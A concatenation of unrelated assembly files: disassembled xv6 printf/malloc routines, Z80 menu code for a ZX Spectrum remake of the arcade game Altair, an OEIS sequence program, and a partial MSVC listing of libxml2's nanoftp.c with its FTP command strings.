49e: 8d 45 e7 lea -0x19(%ebp),%eax
4a1: 83 ec 04 sub $0x4,%esp
4a4: c6 45 e7 25 movb $0x25,-0x19(%ebp)
4a8: 6a 01 push $0x1
4aa: 50 push %eax
4ab: 57 push %edi
4ac: e8 11 fe ff ff call 2c2 <write>
4b1: 83 c4 0c add $0xc,%esp
4b4: 8d 45 e6 lea -0x1a(%ebp),%eax
4b7: 88 5d e6 mov %bl,-0x1a(%ebp)
4ba: 6a 01 push $0x1
4bc: 50 push %eax
4bd: 57 push %edi
4be: 83 c6 01 add $0x1,%esi
4c1: e8 fc fd ff ff call 2c2 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4c6: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
4ca: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4cd: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4cf: 84 db test %bl,%bl
4d1: 75 8d jne 460 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
4d3: 8d 65 f4 lea -0xc(%ebp),%esp
4d6: 5b pop %ebx
4d7: 5e pop %esi
4d8: 5f pop %edi
4d9: 5d pop %ebp
4da: c3 ret
4db: 90 nop
4dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
4e0: 83 ec 0c sub $0xc,%esp
4e3: b9 10 00 00 00 mov $0x10,%ecx
4e8: 6a 00 push $0x0
4ea: 8b 5d d0 mov -0x30(%ebp),%ebx
4ed: 89 f8 mov %edi,%eax
4ef: 8b 13 mov (%ebx),%edx
4f1: e8 6a fe ff ff call 360 <printint>
ap++;
4f6: 89 d8 mov %ebx,%eax
4f8: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4fb: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
4fd: 83 c0 04 add $0x4,%eax
500: 89 45 d0 mov %eax,-0x30(%ebp)
503: e9 4d ff ff ff jmp 455 <printf+0x55>
508: 90 nop
509: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
510: 8b 45 d0 mov -0x30(%ebp),%eax
513: 8b 18 mov (%eax),%ebx
ap++;
515: 83 c0 04 add $0x4,%eax
518: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
51b: b8 47 07 00 00 mov $0x747,%eax
520: 85 db test %ebx,%ebx
522: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
525: 0f b6 03 movzbl (%ebx),%eax
528: 84 c0 test %al,%al
52a: 74 23 je 54f <printf+0x14f>
52c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
530: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
533: 8d 45 e3 lea -0x1d(%ebp),%eax
536: 83 ec 04 sub $0x4,%esp
539: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
53b: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
53e: 50 push %eax
53f: 57 push %edi
540: e8 7d fd ff ff call 2c2 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
545: 0f b6 03 movzbl (%ebx),%eax
548: 83 c4 10 add $0x10,%esp
54b: 84 c0 test %al,%al
54d: 75 e1 jne 530 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
54f: 31 d2 xor %edx,%edx
551: e9 ff fe ff ff jmp 455 <printf+0x55>
556: 8d 76 00 lea 0x0(%esi),%esi
559: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
560: 83 ec 04 sub $0x4,%esp
563: 88 5d e5 mov %bl,-0x1b(%ebp)
566: 8d 45 e5 lea -0x1b(%ebp),%eax
569: 6a 01 push $0x1
56b: e9 4c ff ff ff jmp 4bc <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
570: 83 ec 0c sub $0xc,%esp
573: b9 0a 00 00 00 mov $0xa,%ecx
578: 6a 01 push $0x1
57a: e9 6b ff ff ff jmp 4ea <printf+0xea>
57f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
582: 83 ec 04 sub $0x4,%esp
585: 8b 03 mov (%ebx),%eax
587: 6a 01 push $0x1
589: 88 45 e4 mov %al,-0x1c(%ebp)
58c: 8d 45 e4 lea -0x1c(%ebp),%eax
58f: 50 push %eax
590: 57 push %edi
591: e8 2c fd ff ff call 2c2 <write>
596: e9 5b ff ff ff jmp 4f6 <printf+0xf6>
59b: 66 90 xchg %ax,%ax
59d: 66 90 xchg %ax,%ax
59f: 90 nop
000005a0 <free>:
5a0: 55 push %ebp
5a1: a1 ec 09 00 00 mov 0x9ec,%eax
5a6: 89 e5 mov %esp,%ebp
5a8: 57 push %edi
5a9: 56 push %esi
5aa: 53 push %ebx
5ab: 8b 5d 08 mov 0x8(%ebp),%ebx
5ae: 8b 10 mov (%eax),%edx
5b0: 8d 4b f8 lea -0x8(%ebx),%ecx
5b3: 39 c8 cmp %ecx,%eax
5b5: 73 19 jae 5d0 <free+0x30>
5b7: 89 f6 mov %esi,%esi
5b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
5c0: 39 d1 cmp %edx,%ecx
5c2: 72 1c jb 5e0 <free+0x40>
5c4: 39 d0 cmp %edx,%eax
5c6: 73 18 jae 5e0 <free+0x40>
5c8: 89 d0 mov %edx,%eax
5ca: 39 c8 cmp %ecx,%eax
5cc: 8b 10 mov (%eax),%edx
5ce: 72 f0 jb 5c0 <free+0x20>
5d0: 39 d0 cmp %edx,%eax
5d2: 72 f4 jb 5c8 <free+0x28>
5d4: 39 d1 cmp %edx,%ecx
5d6: 73 f0 jae 5c8 <free+0x28>
5d8: 90 nop
5d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5e0: 8b 73 fc mov -0x4(%ebx),%esi
5e3: 8d 3c f1 lea (%ecx,%esi,8),%edi
5e6: 39 d7 cmp %edx,%edi
5e8: 74 19 je 603 <free+0x63>
5ea: 89 53 f8 mov %edx,-0x8(%ebx)
5ed: 8b 50 04 mov 0x4(%eax),%edx
5f0: 8d 34 d0 lea (%eax,%edx,8),%esi
5f3: 39 f1 cmp %esi,%ecx
5f5: 74 23 je 61a <free+0x7a>
5f7: 89 08 mov %ecx,(%eax)
5f9: a3 ec 09 00 00 mov %eax,0x9ec
5fe: 5b pop %ebx
5ff: 5e pop %esi
600: 5f pop %edi
601: 5d pop %ebp
602: c3 ret
603: 03 72 04 add 0x4(%edx),%esi
606: 89 73 fc mov %esi,-0x4(%ebx)
609: 8b 10 mov (%eax),%edx
60b: 8b 12 mov (%edx),%edx
60d: 89 53 f8 mov %edx,-0x8(%ebx)
610: 8b 50 04 mov 0x4(%eax),%edx
613: 8d 34 d0 lea (%eax,%edx,8),%esi
616: 39 f1 cmp %esi,%ecx
618: 75 dd jne 5f7 <free+0x57>
61a: 03 53 fc add -0x4(%ebx),%edx
61d: a3 ec 09 00 00 mov %eax,0x9ec
622: 89 50 04 mov %edx,0x4(%eax)
625: 8b 53 f8 mov -0x8(%ebx),%edx
628: 89 10 mov %edx,(%eax)
62a: 5b pop %ebx
62b: 5e pop %esi
62c: 5f pop %edi
62d: 5d pop %ebp
62e: c3 ret
62f: 90 nop
00000630 <malloc>:
630: 55 push %ebp
631: 89 e5 mov %esp,%ebp
633: 57 push %edi
634: 56 push %esi
635: 53 push %ebx
636: 83 ec 0c sub $0xc,%esp
639: 8b 45 08 mov 0x8(%ebp),%eax
63c: 8b 15 ec 09 00 00 mov 0x9ec,%edx
642: 8d 78 07 lea 0x7(%eax),%edi
645: c1 ef 03 shr $0x3,%edi
648: 83 c7 01 add $0x1,%edi
64b: 85 d2 test %edx,%edx
64d: 0f 84 a3 00 00 00 je 6f6 <malloc+0xc6>
653: 8b 02 mov (%edx),%eax
655: 8b 48 04 mov 0x4(%eax),%ecx
658: 39 cf cmp %ecx,%edi
65a: 76 74 jbe 6d0 <malloc+0xa0>
65c: 81 ff 00 10 00 00 cmp $0x1000,%edi
662: be 00 10 00 00 mov $0x1000,%esi
667: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
66e: 0f 43 f7 cmovae %edi,%esi
671: ba 00 80 00 00 mov $0x8000,%edx
676: 81 ff ff 0f 00 00 cmp $0xfff,%edi
67c: 0f 46 da cmovbe %edx,%ebx
67f: eb 10 jmp 691 <malloc+0x61>
681: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
688: 8b 02 mov (%edx),%eax
68a: 8b 48 04 mov 0x4(%eax),%ecx
68d: 39 cf cmp %ecx,%edi
68f: 76 3f jbe 6d0 <malloc+0xa0>
691: 39 05 ec 09 00 00 cmp %eax,0x9ec
697: 89 c2 mov %eax,%edx
699: 75 ed jne 688 <malloc+0x58>
69b: 83 ec 0c sub $0xc,%esp
69e: 53 push %ebx
69f: e8 86 fc ff ff call 32a <sbrk>
6a4: 83 c4 10 add $0x10,%esp
6a7: 83 f8 ff cmp $0xffffffff,%eax
6aa: 74 1c je 6c8 <malloc+0x98>
6ac: 89 70 04 mov %esi,0x4(%eax)
6af: 83 ec 0c sub $0xc,%esp
6b2: 83 c0 08 add $0x8,%eax
6b5: 50 push %eax
6b6: e8 e5 fe ff ff call 5a0 <free>
6bb: 8b 15 ec 09 00 00 mov 0x9ec,%edx
6c1: 83 c4 10 add $0x10,%esp
6c4: 85 d2 test %edx,%edx
6c6: 75 c0 jne 688 <malloc+0x58>
6c8: 31 c0 xor %eax,%eax
6ca: eb 1c jmp 6e8 <malloc+0xb8>
6cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
6d0: 39 cf cmp %ecx,%edi
6d2: 74 1c je 6f0 <malloc+0xc0>
6d4: 29 f9 sub %edi,%ecx
6d6: 89 48 04 mov %ecx,0x4(%eax)
6d9: 8d 04 c8 lea (%eax,%ecx,8),%eax
6dc: 89 78 04 mov %edi,0x4(%eax)
6df: 89 15 ec 09 00 00 mov %edx,0x9ec
6e5: 83 c0 08 add $0x8,%eax
6e8: 8d 65 f4 lea -0xc(%ebp),%esp
6eb: 5b pop %ebx
6ec: 5e pop %esi
6ed: 5f pop %edi
6ee: 5d pop %ebp
6ef: c3 ret
6f0: 8b 08 mov (%eax),%ecx
6f2: 89 0a mov %ecx,(%edx)
6f4: eb e9 jmp 6df <malloc+0xaf>
6f6: c7 05 ec 09 00 00 f0 movl $0x9f0,0x9ec
6fd: 09 00 00
700: c7 05 f0 09 00 00 f0 movl $0x9f0,0x9f0
707: 09 00 00
70a: b8 f0 09 00 00 mov $0x9f0,%eax
70f: c7 05 f4 09 00 00 00 movl $0x0,0x9f4
716: 00 00 00
719: e9 3e ff ff ff jmp 65c <malloc+0x2c>
|
; ----------------------------------------------------------------------------
; Altair, CIDLESA's 1981 arcade game remade for the ZX Spectrum and
; Amstrad CPC.
; ----------------------------------------------------------------------------
; ----------------------------------------------------------------------------
; Menu state.
; ----------------------------------------------------------------------------
#ifdef LANG_EN
txdefeat0 .db "WIN BATTLE AFTER", 0
txdefeat1 .db "BATTLE AND DESTROY", 0
txdefeat2 .db "THE MONSTER", 0
txdefeat3 .db "THE MONSTER AS DID", 0
txpoints .db "POINTS", 0
#endif
#ifdef LANG_ES
txdefeat0 .db "VENCE BATALLA TRAS", 0
txdefeat1 .db "BATALLA Y DESTRUYE AL", 0
txdefeat2 .db "MONSTRUO", 0
txdefeat3 .db "MONSTRUO COMO HIZO", 0
txpoints .db "PUNTOS", 0
#endif
txextra .db "EXTRA", 0
tenthou .db 1, 0, 0, 0, 0
txtop .db "AAAAAAAAAAAAAAAAAAAAA", 0
; If the bird has been killed at least once.
bird_killed_once .db 0
MENU_CDELAY .equ $007f >> 2
MENU_TXDELAY .equ $00ff >> 2
MENU_WDELAY .equ $4fff
NUMCLR .equ PBLUE|YELLOW
menu_code .db ICLS, PBLUE|BLUE
.db ITEXT, PBLUE|CYAN, SCRWC-TXCIDELSA_LEN, 23
.db txcidelsa_str&255, txcidelsa_str>>8
.db IDELAY, MENU_CDELAY&255, MENU_CDELAY>>8
.db IDRHLINE, 'C', PBLUE|GREEN, 0, 0, 31
.db IDRVLINE, 'C', PBLUE|GREEN, 31, 1, 7
.db IDRHLINE, 'C', PBLUE|GREEN, 8, 31, 0
.db IDRVLINE, 'C', PBLUE|GREEN, 0, 7, 1
.db IDELAY, MENU_TXDELAY&255, MENU_TXDELAY>>8
.db ITEXT, PBLUE|WHITE, 5, 2, txdefeat0&255, txdefeat0>>8
.db ITEXT, PBLUE|WHITE, 5, 3, txdefeat1&255, txdefeat1>>8
.db IIFBIRDK, 0
.db ITEXT, PBLUE|WHITE, 5, 4, txdefeat2&255, txdefeat2>>8
.db IENDIF
.db IIFBIRDK, 1
.db ITEXT, PBLUE|WHITE, 5, 4, txdefeat3&255, txdefeat3>>8
.db ITEXT, PBLUE|YELLOW, 5, 6, txtop&255, txtop>>8
.db IENDIF
.db IDELAY, MENU_CDELAY&255, MENU_CDELAY>>8
.db IDRVLINE, 'C', PBLUE|GREEN, 31, 8, 22
.db IDRHLINE, 'C', PBLUE|GREEN, 22, 30, 0
.db IDRVLINE, 'C', PBLUE|GREEN, 0, 21, 8
.db IDELAY, MENU_TXDELAY&255, MENU_TXDELAY>>8
.db IDRALIEN, 0, PBLUE|YELLOW, 8, 11
.db IDRNUM, NUMCLR, SCORDIG, scoral0&255, scoral0>>8, 11, 11
.db ITEXT, PBLUE|WHITE, 18, 11, txpoints&255, txpoints>>8
.db IDRALIEN, 1, PBLUE|CYAN, 8, 12
.db IDRNUM, NUMCLR, SCORDIG, scoral1&255, scoral1>>8, 11, 12
.db ITEXT, PBLUE|WHITE, 18, 12, txpoints&255, txpoints>>8
.db IDRALIEN, 2, PBLUE|MAGENT, 8, 13
.db IDRNUM, NUMCLR, SCORDIG, scoral2&255, scoral2>>8, 11, 13
.db ITEXT, PBLUE|WHITE, 18, 13, txpoints&255, txpoints>>8
.db IDRALIEN, 3, PBLUE|WHITE, 8, 14
.db IDRNUM, NUMCLR, SCORDIG, scoral3&255, scoral3>>8, 11, 14
.db ITEXT, PBLUE|WHITE, 18, 14, txpoints&255, txpoints>>8
.db IDRALIEN, 4, PBLUE|YELLOW, 8, 15
.db IDRNUM, NUMCLR, SCORDIG, scoral4&255, scoral4>>8, 11, 15
.db ITEXT, PBLUE|WHITE, 18, 15, txpoints&255, txpoints>>8
.db IDRALIEN, 5, PBLUE|RED, 8, 16
.db IDRNUM, NUMCLR, SCORDIG, scoral5&255, scoral5>>8, 11, 16
.db ITEXT, PBLUE|WHITE, 18, 16, txpoints&255, txpoints>>8
.db IDRALIEN, 6, PBLUE|GREEN, 8, 17
.db IDRNUM, NUMCLR, SCORDIG, scoral6&255, scoral6>>8, 11, 17
.db ITEXT, PBLUE|WHITE, 18, 17, txpoints&255, txpoints>>8
.db ITEXT, PBLUE|WHITE, 6, 19, txextra&255, txextra>>8
.db IDRCHR, PBLUE|CYAN, 12, 19, hudlife&255, hudlife>>8
.db IDRNUM, NUMCLR, SCORDIG, tenthou&255, tenthou>>8, 14, 19
.db ITEXT, PBLUE|WHITE, 20, 19, txpoints&255, txpoints>>8
.db IDELAY, MENU_WDELAY&255, MENU_WDELAY>>8
.db ISTOP
; ---------------
; 'enter_menu_st'
; ---------------
enter_menu_st
ld a,BORDER_MENU
call set_border_color
ld hl,menu_code
call mach_start
ret
; ----------------
; 'update_menu_st'
; ----------------
update_menu_st
; Check keys.
call pollk
call anykey_options
ret c
call mach_update
jr nz,update_menu_st_timeout
ret
update_menu_st_timeout
ld a,STATE_ATTRACT
call set_state
ret
|
; A170063: Number of reduced words of length n in Coxeter group on 6 generators S_i with relations (S_i)^2 = (S_i S_j)^37 = I.
; 1,6,30,150,750,3750,18750,93750,468750,2343750,11718750,58593750,292968750,1464843750,7324218750,36621093750,183105468750,915527343750,4577636718750,22888183593750,114440917968750,572204589843750
mov $1,5
pow $1,$0
mul $1,6
div $1,5
|
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27027.1
TITLE C:\Users\DAG\Documents\_Clients\CodeProject Authors Group\Windows on ARM\libxml2\libxml2-2.9.9\nanoftp.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
_DATA SEGMENT
COMM _xmlMalloc:DWORD
COMM _xmlMallocAtomic:DWORD
COMM _xmlRealloc:DWORD
COMM _xmlFree:DWORD
COMM _xmlMemStrdup:DWORD
COMM _forbiddenExp:DWORD
COMM _emptyExp:DWORD
_DATA ENDS
msvcjmc SEGMENT
__188180DA_corecrt_math@h DB 01H
__2CC6E67D_corecrt_stdio_config@h DB 01H
__05476D76_corecrt_wstdio@h DB 01H
__A452D4A0_stdio@h DB 01H
__4384A2D9_corecrt_memcpy_s@h DB 01H
__4E51A221_corecrt_wstring@h DB 01H
__2140C079_string@h DB 01H
__7B7A869E_ctype@h DB 01H
__457DD326_basetsd@h DB 01H
__1887E595_winnt@h DB 01H
__9FC7C64B_processthreadsapi@h DB 01H
__FA470AEC_memoryapi@h DB 01H
__F37DAFF1_winerror@h DB 01H
__7A450CCC_winbase@h DB 01H
__B4B40122_winioctl@h DB 01H
__86261D59_stralign@h DB 01H
__194286D1_winsock2@h DB 01H
__D940C302_ws2ipdef@h DB 01H
__6E172A35_ws2tcpip@h DB 01H
__331E732B_malloc@h DB 01H
__D1B760F5_wspiapi@h DB 01H
__D3ED00D9_nanoftp@c DB 01H
msvcjmc ENDS
PUBLIC ___local_stdio_printf_options
PUBLIC ___local_stdio_scanf_options
PUBLIC _snprintf
PUBLIC _sscanf
PUBLIC _xmlNanoFTPInit
PUBLIC _xmlNanoFTPCleanup
PUBLIC _xmlNanoFTPNewCtxt
PUBLIC _xmlNanoFTPFreeCtxt
PUBLIC _xmlNanoFTPConnectTo
PUBLIC _xmlNanoFTPOpen
PUBLIC _xmlNanoFTPConnect
PUBLIC _xmlNanoFTPClose
PUBLIC _xmlNanoFTPQuit
PUBLIC _xmlNanoFTPScanProxy
PUBLIC _xmlNanoFTPProxy
PUBLIC _xmlNanoFTPUpdateURL
PUBLIC _xmlNanoFTPGetResponse
PUBLIC _xmlNanoFTPCheckResponse
PUBLIC _xmlNanoFTPCwd
PUBLIC _xmlNanoFTPDele
PUBLIC _xmlNanoFTPGetConnection
PUBLIC _xmlNanoFTPCloseConnection
PUBLIC _xmlNanoFTPList
PUBLIC _xmlNanoFTPGetSocket
PUBLIC _xmlNanoFTPGet
PUBLIC _xmlNanoFTPRead
PUBLIC __JustMyCode_Default
PUBLIC ??_C@_08BOGLDIEC@no_proxy@ ; `string'
PUBLIC ??_C@_09FLGENLMF@ftp_proxy@ ; `string'
PUBLIC ??_C@_09KECINPKO@FTP_PROXY@ ; `string'
PUBLIC ??_C@_0P@CAEEHGAA@ftp_proxy_user@ ; `string'
PUBLIC ??_C@_0BD@DKAPHOHE@ftp_proxy_password@ ; `string'
PUBLIC ??_C@_01KMDKNFGN@?1@ ; `string'
PUBLIC ??_C@_03LMDBDBEG@ftp@ ; `string'
PUBLIC ??_C@_0O@FGOLBKPK@Syntax?5Error?6@ ; `string'
PUBLIC ??_C@_0BH@FLMMHHFH@allocating?5FTP?5context@ ; `string'
PUBLIC ??_C@_0M@KMFGCEDE@recv?5failed@ ; `string'
PUBLIC ??_C@_06LGNCCACI@select@ ; `string'
PUBLIC ??_C@_0BB@PKBEHKHF@USER?5anonymous?$AN?6@ ; `string'
PUBLIC ??_C@_09FIJAECMI@USER?5?$CFs?$AN?6@ ; `string'
PUBLIC ??_C@_0M@EADLIJBM@send?5failed@ ; `string'
PUBLIC ??_C@_0BC@JNJBALOJ@PASS?5anonymous?$EA?$AN?6@ ; `string'
PUBLIC ??_C@_09CACMNAGD@PASS?5?$CFs?$AN?6@ ; `string'
PUBLIC ??_C@_06FIMJICNC@QUIT?$AN?6@ ; `string'
PUBLIC ??_C@_0BF@FEIPFPME@gethostbyname?5failed@ ; `string'
PUBLIC ??_C@_0BP@HGBHAFPD@gethostbyname?5address?5mismatch@ ; `string'
PUBLIC ??_C@_0O@FPJGNADN@socket?5failed@ ; `string'
PUBLIC ??_C@_0BO@NKBHOJOC@Failed?5to?5create?5a?5connection@ ; `string'
PUBLIC ??_C@_09HOAIGJJF@SITE?5?$CFs?$AN?6@ ; `string'
PUBLIC ??_C@_0BE@OGNKDKIM@USER?5anonymous?$EA?$CFs?$AN?6@ ; `string'
PUBLIC ??_C@_0N@NGBGKMKP@USER?5?$CFs?$EA?$CFs?$AN?6@ ; `string'
PUBLIC ??_C@_0CK@GIDKJDCD@FTP?5server?5asking?5for?5ACCNT?5on?5@ ; `string'
PUBLIC ??_C@_08JEHOKOMP@CWD?5?$CFs?$AN?6@ ; `string'
PUBLIC ??_C@_09PCBACKIO@DELE?5?$CFs?$AN?6@ ; `string'
PUBLIC ??_C@_06OGKAIOED@PASV?$AN?6@ ; `string'
PUBLIC ??_C@_0BC@GDCBJEOP@?$CFu?0?$CFu?0?$CFu?0?$CFu?0?$CFu?0?$CFu@ ; `string'
PUBLIC ??_C@_0BI@FEMCDLGO@Invalid?5answer?5to?5PASV?6@ ; `string'
PUBLIC ??_C@_0CD@LJAJBLLL@Failed?5to?5create?5a?5data?5connect@ ; `string'
PUBLIC ??_C@_0M@NNJMLKEI@bind?5failed@ ; `string'
PUBLIC ??_C@_0O@MHKNJCGE@listen?5failed@ ; `string'
PUBLIC ??_C@_0BJ@FJLKMNPA@PORT?5?$CFd?0?$CFd?0?$CFd?0?$CFd?0?$CFd?0?$CFd?$AN?6@ ; `string'
PUBLIC ??_C@_05KBOMEDGA@total@ ; `string'
PUBLIC ??_C@_09PLPJIOKF@LIST?5?9L?$AN?6@ ; `string'
PUBLIC ??_C@_0N@MNMMLKJL@LIST?5?9L?5?$CFs?$AN?6@ ; `string'
PUBLIC ??_C@_04IFMDBHHF@recv@ ; `string'
PUBLIC ??_C@_08NFILCCME@TYPE?5I?$AN?6@ ; `string'
PUBLIC ??_C@_09NFIHFDPP@RETR?5?$CFs?$AN?6@ ; `string'
PUBLIC ??_C@_06FNAPNHDD@ftp?3?1?1@ ; `string'
EXTRN _xmlStrndup:PROC
EXTRN __imp____stdio_common_vsprintf:PROC
EXTRN __imp____stdio_common_vsscanf:PROC
EXTRN ___xmlIOErr:PROC
EXTRN _strchr:PROC
EXTRN __imp__strncmp:PROC
EXTRN __imp__getenv:PROC
EXTRN ___xmlSimpleError:PROC
EXTRN _xmlParseURIRaw:PROC
EXTRN _xmlURIUnescapeString:PROC
EXTRN _xmlFreeURI:PROC
EXTRN __imp__bind@12:PROC
EXTRN __imp__closesocket@4:PROC
EXTRN __imp__connect@12:PROC
EXTRN __imp__getsockname@12:PROC
EXTRN __imp__htons@4:PROC
EXTRN __imp__listen@8:PROC
EXTRN __imp__recv@16:PROC
EXTRN __imp__select@20:PROC
EXTRN __imp__send@16:PROC
EXTRN __imp__socket@12:PROC
EXTRN __imp__gethostbyname@4:PROC
EXTRN __imp__WSAStartup@8:PROC
EXTRN __imp__WSACleanup@0:PROC
EXTRN @__CheckForDebuggerJustMyCode@4:PROC
EXTRN __chkstk:PROC
EXTRN _memcpy:PROC
EXTRN _memmove:PROC
EXTRN _memset:PROC
_DATA SEGMENT
COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage
COMM ?_OptionsStorage@?1??__local_stdio_scanf_options@@9@9:QWORD ; `__local_stdio_scanf_options'::`2'::_OptionsStorage
_DATA ENDS
_BSS SEGMENT
_initialized DD 01H DUP (?)
_proxy DD 01H DUP (?)
_proxyPort DD 01H DUP (?)
_proxyUser DD 01H DUP (?)
_proxyPasswd DD 01H DUP (?)
_proxyType DD 01H DUP (?)
_BSS ENDS
; COMDAT ??_C@_06FNAPNHDD@ftp?3?1?1@
CONST SEGMENT
??_C@_06FNAPNHDD@ftp?3?1?1@ DB 'ftp://', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09NFIHFDPP@RETR?5?$CFs?$AN?6@
CONST SEGMENT
??_C@_09NFIHFDPP@RETR?5?$CFs?$AN?6@ DB 'RETR %s', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08NFILCCME@TYPE?5I?$AN?6@
CONST SEGMENT
??_C@_08NFILCCME@TYPE?5I?$AN?6@ DB 'TYPE I', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04IFMDBHHF@recv@
CONST SEGMENT
??_C@_04IFMDBHHF@recv@ DB 'recv', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0N@MNMMLKJL@LIST?5?9L?5?$CFs?$AN?6@
CONST SEGMENT
??_C@_0N@MNMMLKJL@LIST?5?9L?5?$CFs?$AN?6@ DB 'LIST -L %s', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09PLPJIOKF@LIST?5?9L?$AN?6@
CONST SEGMENT
??_C@_09PLPJIOKF@LIST?5?9L?$AN?6@ DB 'LIST -L', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05KBOMEDGA@total@
CONST SEGMENT
??_C@_05KBOMEDGA@total@ DB 'total', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BJ@FJLKMNPA@PORT?5?$CFd?0?$CFd?0?$CFd?0?$CFd?0?$CFd?0?$CFd?$AN?6@
CONST SEGMENT
??_C@_0BJ@FJLKMNPA@PORT?5?$CFd?0?$CFd?0?$CFd?0?$CFd?0?$CFd?0?$CFd?$AN?6@ DB 'P'
DB 'ORT %d,%d,%d,%d,%d,%d', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0O@MHKNJCGE@listen?5failed@
CONST SEGMENT
??_C@_0O@MHKNJCGE@listen?5failed@ DB 'listen failed', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0M@NNJMLKEI@bind?5failed@
CONST SEGMENT
??_C@_0M@NNJMLKEI@bind?5failed@ DB 'bind failed', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CD@LJAJBLLL@Failed?5to?5create?5a?5data?5connect@
CONST SEGMENT
??_C@_0CD@LJAJBLLL@Failed?5to?5create?5a?5data?5connect@ DB 'Failed to cr'
DB 'eate a data connection', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BI@FEMCDLGO@Invalid?5answer?5to?5PASV?6@
CONST SEGMENT
??_C@_0BI@FEMCDLGO@Invalid?5answer?5to?5PASV?6@ DB 'Invalid answer to PAS'
DB 'V', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BC@GDCBJEOP@?$CFu?0?$CFu?0?$CFu?0?$CFu?0?$CFu?0?$CFu@
CONST SEGMENT
??_C@_0BC@GDCBJEOP@?$CFu?0?$CFu?0?$CFu?0?$CFu?0?$CFu?0?$CFu@ DB '%u,%u,%u'
DB ',%u,%u,%u', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_06OGKAIOED@PASV?$AN?6@
CONST SEGMENT
??_C@_06OGKAIOED@PASV?$AN?6@ DB 'PASV', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09PCBACKIO@DELE?5?$CFs?$AN?6@
CONST SEGMENT
??_C@_09PCBACKIO@DELE?5?$CFs?$AN?6@ DB 'DELE %s', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08JEHOKOMP@CWD?5?$CFs?$AN?6@
CONST SEGMENT
??_C@_08JEHOKOMP@CWD?5?$CFs?$AN?6@ DB 'CWD %s', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CK@GIDKJDCD@FTP?5server?5asking?5for?5ACCNT?5on?5@
CONST SEGMENT
??_C@_0CK@GIDKJDCD@FTP?5server?5asking?5for?5ACCNT?5on?5@ DB 'FTP server '
DB 'asking for ACCNT on anonymous', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0N@NGBGKMKP@USER?5?$CFs?$EA?$CFs?$AN?6@
CONST SEGMENT
??_C@_0N@NGBGKMKP@USER?5?$CFs?$EA?$CFs?$AN?6@ DB 'USER %s@%s', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BE@OGNKDKIM@USER?5anonymous?$EA?$CFs?$AN?6@
CONST SEGMENT
??_C@_0BE@OGNKDKIM@USER?5anonymous?$EA?$CFs?$AN?6@ DB 'USER anonymous@%s', 0dH
DB 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09HOAIGJJF@SITE?5?$CFs?$AN?6@
CONST SEGMENT
